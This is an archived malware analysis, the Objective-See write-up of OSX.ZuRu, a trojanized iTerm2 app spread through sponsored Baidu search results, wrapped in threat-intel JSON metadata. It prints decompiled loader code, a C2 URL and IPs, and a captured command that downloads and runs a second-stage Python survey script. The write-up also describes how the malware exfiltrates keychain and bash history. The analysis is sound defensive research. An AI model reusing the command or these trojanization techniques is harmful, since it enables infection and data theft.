{
	"id": "5805900f-33c6-41e8-9a38-afe9b896f7b1",
	"created_at": "2026-04-06T00:13:49.593435Z",
	"updated_at": "2026-04-10T13:11:44.087889Z",
	"deleted_at": null,
	"sha1_hash": "3785edd45c8b8e78e4410e3c95b926586caa1c93",
	"title": "Made in China: OSX.ZuRu",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3179615,
	"plain_text": "Made in China: OSX.ZuRu\r\nArchived: 2026-04-05 16:31:54 UTC\r\nMade in China: OSX.ZuRu\r\ntrojanized apps spread malware, via sponsored search results\r\nby: Patrick Wardle / September 14, 2021\r\nObjective-See's research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n📝 👾 Want to play along?\r\nI’ve uploaded an OSX.ZuRu sample (password: infect3d).\r\n...please don’t infect yourself!\r\nBackground\r\nLate on September 14th, the noted security researcher Zhi, (@CodeColorist), tweeted about new attack that was\r\nspreading (new?) macOS malware via sponsored search engine results:\r\nℹ️ The posting mentioned in his tweet, zhuanlan.zhihu.com/p/408746101, provides a detailed overview of the\r\nattack. Moreover, it appears to be the first mention of this attack, and as such, should be credited with the\r\ndiscovery of this (widespread?) attack.\r\nHere, we build upon this posting, providing an analysis that focuses on uncovering the technical details of the\r\nattack, such as the specific method of trojanization.\r\nAs Zhi noted, the malware was hosted on the site iTerm2.net .\r\nThis malicious site, appears identical to the legitimate and popular iTerm2 website ( iTerm2.com ):\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 1 of 16\n\nThe fact the the malicious site, masquerades as the legitimate one is unsurprising as the malware’s attack vector is\r\nbased on simple trickery. Specifically, as noted by Zhi and in aforementioned writeup, users who searched for\r\n‘iTerm2’ on the Chinese search engine Baidu would have been presented with the sponsored link to the malware:\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 2 of 16\n\n…and following this link, as the malicious site was a clone, perhaps not realize anything was amiss.\r\nℹ️ As of September 15th, the malicious site, iTerm2.net, appears offline.\r\nWhere’s the Malware?\r\nTo download the malware users would have to click the Download button, then any of the links on the download\r\npage. This would download a disk image named iTerm.dmg from http://www.kaidingle.com/iTerm/iTerm.dmg\r\n% shasum -a 1 ~/Downloads/iTerm.dmg\r\na2651c95ed756d07fd204785072c951376010bd8 /Users/patrick/Downloads/iTerm.dmg\r\nCurrently this disk image is not flagged by any of the anti-virus engines on VirusTotal as malicious:\r\nWe can mount the downloaded disk image (to /Volumes/iTerm ), to examine its contents:\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 3 of 16\n\nThe main item on the disk image is an application named iTerm . It appears to mimic again, the legitimate\r\niTerm app. Examining the code-signing certificate, we can see that this application is signed, albeit by a Jun Bi\r\n(AQPZ6F3ASY)\r\nSigned, by Jun Bi (AQPZ6F3ASY)\r\nHowever it is not notarized:\r\n% spctl -a -t exec -vvv /Volumes/iTerm/iTerm.app/\r\n/Volumes/iTerm/iTerm.app/: rejected\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 4 of 16\n\norigin=Apple Distribution: Jun Bi (AQPZ6F3ASY)\r\nℹ️ The legitimate iTerm2 application is signed by a GEORGE NACHMAN, and is fully notarized.\r\nUpdate: As of September 15th, Apple has revoked Jun Bi ’s code-signing certificate:\r\nCertificate, now revoked\r\nThe legitimate and the malicious iTerm2 application bundles contain a massive number of files, including several\r\nMach-O binaries. Moreover, the malicious version appears largely benign (as is the case with most applications\r\nthat have been surreptitiously trojanized). As such, it takes us a minute to uncover the malicious component.\r\nOne of the first actions I take when triaging a new (possibly malicious) binary is dump it’s dependencies. Often\r\nyou can learn a lot about a binary based on the dynamic libraries it is linked against.\r\nUsing otool , we view the dependencies of the (suspected to be malicious) iTerm2 application, downloaded from\r\nthe suspicious iTerm2.net\r\n% otool -L /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2\r\n/usr/lib/libaprutil-1.0.dylib\r\n/usr/lib/libicucore.A.dylib\r\n/usr/lib/libc++.1.dylib\r\n...\r\n/usr/lib/libz.1.dylib\r\n@executable_path/../Frameworks/libcrypto.2.dylib\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 5 of 16\n\nThat last library does appear a bit shady (in comparison to the others), simply based on it’s path, and name. 🤔\r\nAnd if we dump the dependencies of the the legit iTerm2 application, lo and behold, it does not have such a\r\ndependency:\r\notool -L ~/Downloads/iTerm.app/Contents/MacOS/iTerm2\r\n/usr/lib/libaprutil-1.0.dylib\r\n/usr/lib/libicucore.A.dylib\r\n/usr/lib/libc++.1.dylib\r\n...\r\n/usr/lib/libz.1.dylib\r\nSo, have we found the malware? (spoiler: yes).\r\nThe libcrypto.2.dylib file is 64bit Mach-O dylib, with a SHA1 hash of\r\n72ecd873c07b1f96b01bd461d091547f9dbcb2b7\r\n% file libcrypto.2.dylib\r\nlibcrypto.2.dylib: Mach-O 64-bit dynamically linked shared library x86_64\r\n% shasum -a 1 libcrypto.2.dylib\r\n72ecd873c07b1f96b01bd461d091547f9dbcb2b7 /Volumes/iTerm/iTerm.app/Contents/Frameworks/libcrypto.2.dy\r\nCurrently this dylib is not (also) flagged by any of the anti-virus engines on VirusTotal as malicious:\r\nAnalysis of libcrypto.2.dylib\r\nIf the user runs the trojanized iTerm2 app, nothing appears amiss as a legitimate iTerm shell is shown.\r\nQuickly triaging the trojanized iTerm2 application bundle’s main binary, iTerm2 , appears to be simply a copy of\r\nthe legitimate iTerm app. The only modification is the addition of a LC_LOAD_DYLIB load command, which adds a\r\ndependency to libcrypto.2.dylib\r\n% otool -l /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2\r\n Load command 50\r\n cmd LC_LOAD_DYLIB\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 6 of 16\n\ncmdsize 80\r\n name @executable_path/../Frameworks/libcrypto.2.dylib (offset 24)\r\n time stamp 0 Wed Dec 31 14:00:00 1969\r\n current version 0.0.0\r\ncompatibility version 0.0.0\r\nSo how does the libcrypto.2.dylib get executed when a user launches the trojanized iTerm2 application?\r\nExcellent question! …and the answer is, in a very subtle way!\r\nAt load time macOS’s dynamic loader, dyld will load any/all dependencies …including the malicious\r\nlibcrypto.2.dylib . But loading a dylib doesn’t necessarily execute of its code …unless it explicitly contains a\r\nconstructor or initialization routine. Which yes, libcrypto.2.dylib does! Specifically, it implements the load\r\nmethod at 0x0000000000002040\r\n 1\r\n 2+[crypto_2 load]:\r\n 30x0000000000002040 push rbp\r\n 40x0000000000002041 mov rbp, rsp\r\n 50x0000000000002044 sub rsp, 0x10\r\n 60x0000000000002048 mov qword [rbp+var_8], rdi\r\n 70x000000000000204c mov qword [rbp+var_10], rsi\r\n 80x0000000000002050 mov rax, qword [objc_cls_ref_NSObject]\r\n 90x0000000000002057 mov rsi, qword [0x40530]\r\n100x000000000000205e mov rdi, rax\r\n110x0000000000002061 call qword [_objc_msgSend_38140]\r\n120x0000000000002067 add rsp, 0x10\r\n130x000000000000206b pop rbp\r\n140x000000000000206c ret\r\n15\r\nAccording to Apple’s documentation on the load method, it is automatically invoked when for example, a\r\ndynamic library is loaded.\r\nWe can confirm this in a debugger:\r\n% lldb /Volumes/iTerm/iTerm.app/\r\n(lldb) target create \"/Volumes/iTerm/iTerm.app/\"\r\nCurrent executable set to '/Volumes/iTerm/iTerm.app' (x86_64).\r\n(lldb) process launch --stop-at-entry\r\n(lldb) b 0x101783040\r\nBreakpoint 1: where = libcrypto.2.dylib`+[crypto_2 load], address = 0x0000000101783040\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 7 of 16\n\n(lldb) continue\r\n(lldb) /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2\r\n* thread #1, stop reason = breakpoint 1.1\r\nlibcrypto.2.dylib`+[crypto_2 load]:\r\n-\u003e 0x101783040 \u003c+0\u003e: pushq %rbp\r\n 0x101783041 \u003c+1\u003e: movq %rsp, %rbp\r\n(lldb) bt\r\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1\r\n * frame #0: 0x0000000101783040 libcrypto.2.dylib`+[crypto_2 load]\r\n frame #1: 0x00007fff665cc560 libobjc.A.dylib`load_images + 1529\r\n frame #2: 0x00000001011b226c dyld`dyld::notifySingle(...) + 418\r\n frame #3: 0x00000001011c5fe9 dyld`ImageLoader::recursiveInitialization(...) + 475\r\n frame #4: 0x00000001011c5f66 dyld`ImageLoader::recursiveInitialization(...) + 344\r\n frame #5: 0x00000001011c40b4 dyld`ImageLoader::processInitializers(...) + 188\r\n frame #6: 0x00000001011c4154 dyld`ImageLoader::runInitializers(....) + 82\r\n frame #7: 0x00000001011b26a8 dyld`dyld::initializeMainExecutable() + 199\r\n frame #8: 0x00000001011b7bba dyld`dyld::_main(...) + 6667\r\n frame #9: 0x00000001011b1227 dyld`dyldbootstrap::start(...) + 453\r\n frame #10: 0x00000001011b1025 dyld`_dyld_start + 37\r\nIn the above, note that libcrypto.2.dylib ’s load method is automatically called as part of dyld ’s\r\ninitialization of the library.\r\nIf we decompile the load method, we find it simply calls a method called hookCommon . Take a look a this\r\nmethod:\r\n 1/* @class NSObject */\r\n 2+(void)hookCommon {\r\n 3 rax = [NSString stringWithFormat:@\"===========888888888 code:@%@\", @\"1111111\"];\r\n 4 [self myOCLog:rax];\r\n 5\r\n 6 rax = [self serialNumber];\r\n 7 rax = [NSString stringWithFormat:@\"===========888888888 identifier:@%@\", rax];\r\n 8 [self myOCLog:rax];\r\n 9\r\n10 var_70 = dispatch_time(0x0, 0x1bf08eb000);\r\n11 var_38 = *NSConcreteStackBlock;\r\n12 dispatch_after(var_70, rax, \u0026var_38);\r\n13\r\n14 return;\r\n15}\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 8 of 16\n\nThe method first invokes the myOCLog method (which doesn’t actually log anything) with the string\r\n===========888888888 code:@1111111 and then again with the infected system’s serial number (obtained via a\r\ncall to a method aptly named serialNumber ). Then it executes a block of logic via a dispatch_after …likely\r\nso the load method can return right away (as it should, so that other required dyld can continue).\r\nThe dispatch callback block simply calls a method named request (found at 0x0000000000003520 ).\r\nAfter decrypting various strings it makes a HTTP GET request via the AFNetworking library (that has been\r\nstatically compiled in) to https://apps.mzstatics.com/fwjNY/v.php?ver=1.3\u0026id=VMI5EOhq8gDz . Note that the\r\nvalue for the id parameter is the infected systems serial number.\r\nIf you’re lucky enough to have LuLu installed it will kindly alert you to this connection attempt:\r\nOnce the server has responded, the malware invokes it’s runShellWithCommand:completeBlock: method. And\r\nwhat does it attempt to run? The following (returned from the server?), which included downloading and\r\nexecuting various 2nd-stage payloads from a server found at 47.75.123.111 :\r\ncurl -sfo /tmp/g.py http://47.75.123.111/g.py \u0026\u0026 chmod 777 /tmp/g.py \u0026\u0026 python /tmp/g.py \u0026\u0026 curl -sfo /tmp/Goog\r\nWe can passively observe the execution of these commands via my open-source ProcessMonitor:\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n \"/bin/sh\",\r\n \"-c\",\r\n \"curl -sfo /tmp/g.py http://47.75.123.111/g.py \u0026\u0026 chmod 777 /tmp/g.py \u0026\u0026 python /tmp/g.py \u0026\u0026 cu\r\n ]\r\n }\r\n}\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 9 of 16\n\n...\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n \"python\",\r\n \"/tmp/g.py\"\r\n ]\r\n }\r\n}\r\n...\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"signing info (computed)\" : {\r\n \"signatureStatus\" : -67062\r\n },\r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n \"/tmp/GoogleUpdate\"\r\n ],\r\n \"path\" : \"/private/tmp/GoogleUpdate\",\r\n \"name\" : \"GoogleUpdate\"\r\n }\r\n}\r\nNote that in the ProcessMonitor output, we can see the malware executing the downloaded python script, g.py\r\nand another downloaded item, GoogleUpdate from a temporary directory.\r\nℹ️ The libcrypto.2.dylib binary contains embedded (compiler) strings the reveal information about the system it\r\nwas created on such as: \"/Users/erdou/Desktop/mac注入/sendRelease3.1/crypto.2/...\"\r\nThis provides both a user named (erdou), and a project name (mac注入). The latter, pronounced “Zhùrù” roughly\r\ntranslates “mac injection” and gives rise to the malware’s name OSX.ZuRu.\r\nA Python Script: g.py\r\nThe python script, g.py (SHA-1: 20acde856a043194595ed88ef7ae0b79191394f9 ) performs a comprehensive\r\nsurvey of the infected system:\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 10 of 16\n\n…it then zips this up before exfiltrating it. If we allow the script run, we can then grab and extract the zip to see\r\nexactly what’s in the survey:\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 11 of 16\n\nLooks like it includes the infected system’s keychain, bash history, hosts, and more:\r\n% cat tmp/tmp.txt\r\n获取操作系统名称及版本号 : [Darwin-19.6.0-x86_64-i386-64bit]\r\n获取操作系统版本号 : [Darwin Kernel Version 19.6.0: Thu Jun 18 20:49:00 PDT 2020; root:xnu-6153.141.1\r\n获取操作系统的位数 : [('64bit', '')]\r\n计算机类型 : [x86_64]\r\n计算机的网络名称 : [users-mac.lan]\r\n计算机处理器信息 : [i386]\r\n获取操作系统类型 : [Darwin]\r\n汇总信息 : [('Darwin', 'users-mac.lan', '19.6.0', 'Darwin Kernel Version 19.6.0: Thu Jun 18 20:49:00\r\n程序列表 : []\r\nhosts文件 : [##\r\n# Host Database\r\n#\r\n# localhost is used to configure the loopback interface\r\n# when the system is booting. Do not change this entry.\r\n##\r\n127.0.0.1 localhost\r\n255.255.255.255 broadcasthost\r\n::1 localhost\r\n]\r\n当前用户名 : user\r\ntest : [[u'Desktop', u'Documents', u'Downloads', u'Library', u'Movies', u'Music', u'Pictures', u'Publ\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 12 of 16\n\nOnce the Python script has completed surveying the infected host, it exfiltrates it via curl to the same IP address\r\n( 47.75.123.111 ). Again, LuLu will alert you, this time about the exfiltration attempt:\r\nA Mach-O Binary: GoogleUpdate\r\nThe second item the trojanized iTerm application downloads and executes is a Mach-O binary named\r\nGoogleUpdate (SHA-1: 25d288d95fe89ac82b17f5ba490df30356ad14b8 ).\r\nCurrently this binary is not flagged by any of the anti-virus engines on VirusTotal as malicious:\r\nA quick look at it strings reveals its packed by UPX. We can unpack it with a recent version of UPX:\r\n% upx -d /Users/patrick/Downloads/GoogleUpdate\r\n Ultimate Packer for eXecutables\r\n Copyright (C) 1996 - 2020\r\nUPX 3.96 Markus Oberhumer, Laszlo Molnar \u0026 John Reiser Jan 23rd 2020\r\n File size Ratio Format Name\r\n -------------------- ------ ----------- -----------\r\n 5961476 \u003c- 2003288 33.60% macho/amd64 GoogleUpdate\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 13 of 16\n\nUnpacked 1 file.\r\nThe unpacked binary has a SHA-1 of 184509b63ac25f3214e1bed52e9c4aa512a0fd9e , and also is not detected as\r\nmalicious on VirusTotal.\r\nUnfortunately, the binary still packed, or at least obfuscated in some manner 😰\r\nHowever, if we run it, it attempts to connect to 47.75.96.198 (on port 443). We can observe this connection via\r\nNetiquette:\r\nAccording to VirusTotal, as of two days ago, this IP address was found to be a Cobalt Strike Server:\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 14 of 16\n\n…thus is possible that this binary in merely a Cobalt Strike beacon!\r\nConclusions\r\nIn this post, we analyzed a trojanized version of the popular iTerm application, served up to users via sponsors\r\nsearch engine results on Baidu.\r\nSince then it appears the Baidu has taken action to remove these malicious links, while, as noted Apple has\r\nrevoked the code signing certificate (ab)used by the malware.\r\nHowever, perhaps the issue was (or still is?) more widespread, as Zhi noted that the scale is “massive” and that\r\ntrojanized apps are in play:\r\nℹ️ Other infected disk images include:\r\nSecureCRT.dmg (SHA-1: 6bdcc10c4d6527e57a904c21639807b0f31f7807)\r\nNavicat15_cn.dmg (SHA-1: 99395781fde01321306afeb7d8636af8d4a2631f)\r\ncom.microsoft.rdc.macos (SHA-1: 432d907466f14826157825af235bd0305a05fe41)\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 15 of 16\n\n…so, be careful out there!\r\n📚 The Art of Mac Malware\r\nIf this blog post pique your interest, definitely check out my new book on the topic of Mac Malware Analysis:\r\n\"The Art Of Mac Malware: Analysis\"\r\n...it's free online, and new content is regularly added!\r\n💕 Support Us:\r\nLove these blog posts? You can support them via my Patreon page!\r\nSource: https://objective-see.com/blog/blog_0x66.html\r\nhttps://objective-see.com/blog/blog_0x66.html\r\nPage 16 of 16\n\nFile -------------------- size Ratio Format ------ ----------- Name -----------\n5961476 \u003c-2003288 33.60% macho/amd64 GoogleUpdate\n   Page 13 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x66.html"
	],
	"report_names": [
		"blog_0x66.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434429,
	"ts_updated_at": 1775826704,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3785edd45c8b8e78e4410e3c95b926586caa1c93.pdf",
		"text": "https://archive.orkl.eu/3785edd45c8b8e78e4410e3c95b926586caa1c93.txt",
		"img": "https://archive.orkl.eu/3785edd45c8b8e78e4410e3c95b926586caa1c93.jpg"
	}
}